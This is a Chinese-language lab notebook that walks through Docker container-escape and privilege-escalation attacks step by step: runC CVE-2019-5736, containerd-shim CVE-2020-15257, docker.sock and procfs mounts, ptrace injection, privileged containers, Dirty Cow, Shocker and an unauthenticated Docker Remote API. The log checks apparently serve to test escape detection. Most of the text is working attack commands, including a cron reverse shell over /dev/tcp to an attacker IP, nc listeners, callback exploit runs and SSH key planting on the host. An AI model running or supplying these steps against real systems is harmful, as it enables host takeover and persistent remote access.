docker-runc CVE-2019-5736(runC容器逃逸漏洞)
1、准备漏洞环境:
curl https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw -o install.sh && bash install.sh
2、下载poc,编译脚本
a)下载poc:https://github.com/Frichetten/CVE-2019-5736-PoC
b)修改payload,将go脚本中的命令修改为反弹shell:vim main.go
c)、编译生成payload
- 安装golang:yum install golang
- 查看当前系统安装的Go语言版本:go version
- 在/home下创建一个workspace目录,并定义 GOPATH 环境变量指向该目录,这个目录将被 Go 工具用于保存和编辑二进制文件
echo 'export GOPATH="$HOME/workspace"' >> ~/.bashrc
source ~/.bashrc
- 编译生成payload:CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
3、将main文件放入容器中:sudo docker cp mainunruffled_newton:/tmp
4、进入容器,并修改权限:docker exec -it unruffled_newton /bin/bash
5、执行main文件,打开新窗口,进入go脚本中的执行反弹的机器,在反弹机器中监听端口
6、打开新窗口,进入该容器
7、启动容器时,触发payload
参考:https://www.cnblogs.com/xiaozi/p/13377619.html
containerd-shim CVE-2020-15257
影响版本:containerd < 1.3.9
1、卸载docker容器:
yum remove docker docker-engine docker.io containerd runc
2、手动安装docker
rpm包下载地址:https://download.docker.com/linux/centos/7/x86_64/stable/Packages/
docker安装指导:https://docs.docker.com/engine/install/centos/#prerequisites
3、查看docker版本
4、下载容器:docker pull ubuntu:18.04
5、通过–net=host 作为启动参数来运行并进入一个容器:docker run -it --net=host ubuntu:18.04 /bin/bash
6、在容器内执行 cat /proc/net/unix|grep -a "containerd-shim"
可看到抽象命名空间Unix域套接字
7、下载cdk执行exp并实现反弹shell:
wget https://github.com/Xyntax/CDK/releases/download/0.1.6/cdk_v0.1.6_release.tar.gz
8、将cdk文件拷贝到容器/tmp目录下:docker cp cdk/ reverent_mendeleev:/tmp
9、打开新窗口,攻击机器执行nc监控端口:nc -vl 12345
10、进入容器,执行文件:./cdk_linux_amd64 run shim-pwn 192.168.0.44 12345
11、成功实现容器逃逸
参考:https://blog.youkuaiyun.com/weixin_45006525/article/details/116229461
docker.sock
1、找到docker.sock:find / -name docker.sock
2、查看宿主机docker信息:docker -H unix:///run/docker.sock info
3、运行一个新容器并挂载宿主机根路径:docker -H unix:///run/docker.sock run -it -v /:/test ubuntu /bin/bash
4、在新容器的/test 目录下,访问到宿主机的全部资源,然后在tmp写入一个文件
5、退出容器,查看日志:grep 'msg:' /opt/XXX/logs/modescape.log
Procfs目录挂载逃逸
1、启动时将proc目录挂载在容器中:docker run -v /root/cdk:/cdk -v /proc:/mnt/host_proc --rm -it ubuntu bash
2、退出容器查看日志:grep 'msg:' /opt/XXX/logs/modescape.log
Ptrace逃逸PoC
1、执行命令进入容器:docker run --cap-add=SYS_PTRACE -v /root/cdk:/cdk --rm -it ubuntu bash
2、下载文件:https://github.com/0x00pf/0x00sec_code.git
3、修改infect.c文件中的shellcode:vim mem_inject/infect.c
4、gcc编译infect.c文件: gcc infect.c -o inject
5、执行infect文件:./inject pid
CAP_SYS_ADMIN
1、使用–cap-add启动容器:docker run -ti --cap-add=sys_admin ubuntu /bin/bash
2、容器内访问磁盘:fdisk -l
SYS_MODULE逃逸PoC
1、使用–cap-add启动容器:docker run -ti --cap-add=sys_module -v /lib/modules:/lib/modules --rm -it ubuntu bash
特权模式运行容器
1、创建一个具备–privileged=true特权参数的容器:docker run -ti --privileged=true --name 容器名称 ubuntu /bin/bash
2、查看容器是否开启特权模式:docker inspect prishiyanlou | grep Privileged
3、 判断当前容器是否通过特权模式起来:cat /proc/self/status |grep Cap
4、容器中查看主机:fdisk -l
5、通过mount命令将主机根目录挂载到容器中:mount /dev/vda1 /mnt
6、将根目录换成指定的目的目录:chroot /mnt/
7、主机中查看log日志:cat /opt/XXX/logs/modescape.log |grep 'msg'
参考:https://blog.51cto.com/zhaoshilei/2512328
Dirty Cow(CVE-2016-5195)
漏洞范围:Linux内核 >= 2.6.22
内核版本低于列表里的版本,表示还存在脏牛漏洞
1、查看Linux内核:uname -a
2、下载poc:https://github.com/FireFart/dirtycow
3、对dirty.c进行编译,生成一个dirty的可执行文件:gcc -pthread dirty.c -o dirty -lcrypt
4、执行文件:./dirty test@1234
(设置你的登录密码,账户名默认为firefart)
5、登录firefart账户,成功提权
参考:https://www.cnblogs.com/mrliu0327/p/13456502.html
敏感目录挂载
1、挂载根目录:docker run -it -v /:/opt/test/ ubuntu /bin/bash
2、写入一个文件到tmp目录下:echo 123.txt >> tmp/secroot.txt
3、查看日志:grep 'msg:' /opt/XXX/logs/modescape.log
Docker Remote API未授权访问
方法一
1、配置远程访问:vim /usr/lib/systemd/system/docker.service
ExecStart=/usr/bin/dockerd -H tcp://0.0.0.0:2375 -H unix://var/run/docker.sock
2、重启并查看docker进程:
systemctl daemon-reload
systemctl restart docker
ps -ef|grep docker
3、查看本机启动的容器:docker -H tcp://0.0.0.0:2375 ps
4、在另一台机器上创建一个名为busybox的容器:docker -H tcp://IP run -it -v /:/mnt busybox chroot /mnt sh
5、进入系统目录,写入ssh公钥
6、更改文件属性:chattr -aui /root/.ssh/authorized_keys
参考:https://zgao.top/docker-remote-api%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/
方法二
1、docker守护进程监听在0.0.0.0,调用API来操作:dockersudo dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375
2、列出容器信息,效果与docker ps一致:curl http://0.0.0.0:2375/containers/json
3、启动容器:docker -H tcp://0.0.0.0:2375 ps -a
4、在目标机器上新运行一个容器,挂载点设置为服务器的根目录挂载至/mnt目录下:
docker -H tcp://192.168.0.41 run -it -v /:/mnt nginx:latest /bin/bash
4、在容器内执行命令,将反弹shell的脚本写入到/var/spool/cron/root:
echo '* * * * * /bin/bash -i >& /dev/tcp/192.168.0.41/12345 0>&1' >> /mnt/var/spool/cron/crontabs/root
5、本地监听端口:nc -vl 12345
6、等待定时任务达到逃逸目的
Shocker 攻击
漏洞影响版本: Docker版本< 1.0, 存在于 Docker 1.0 之前的绝大多数版本
1、下载shocker文件:https://github.com/gabrtv/shocker
2、gcc编译shocker.c文件:gcc shocker.c -o shocker
3、执行文件:docker run gabrtv/shocker
参考:https://www.cnblogs.com/xiaozi/p/13423853.html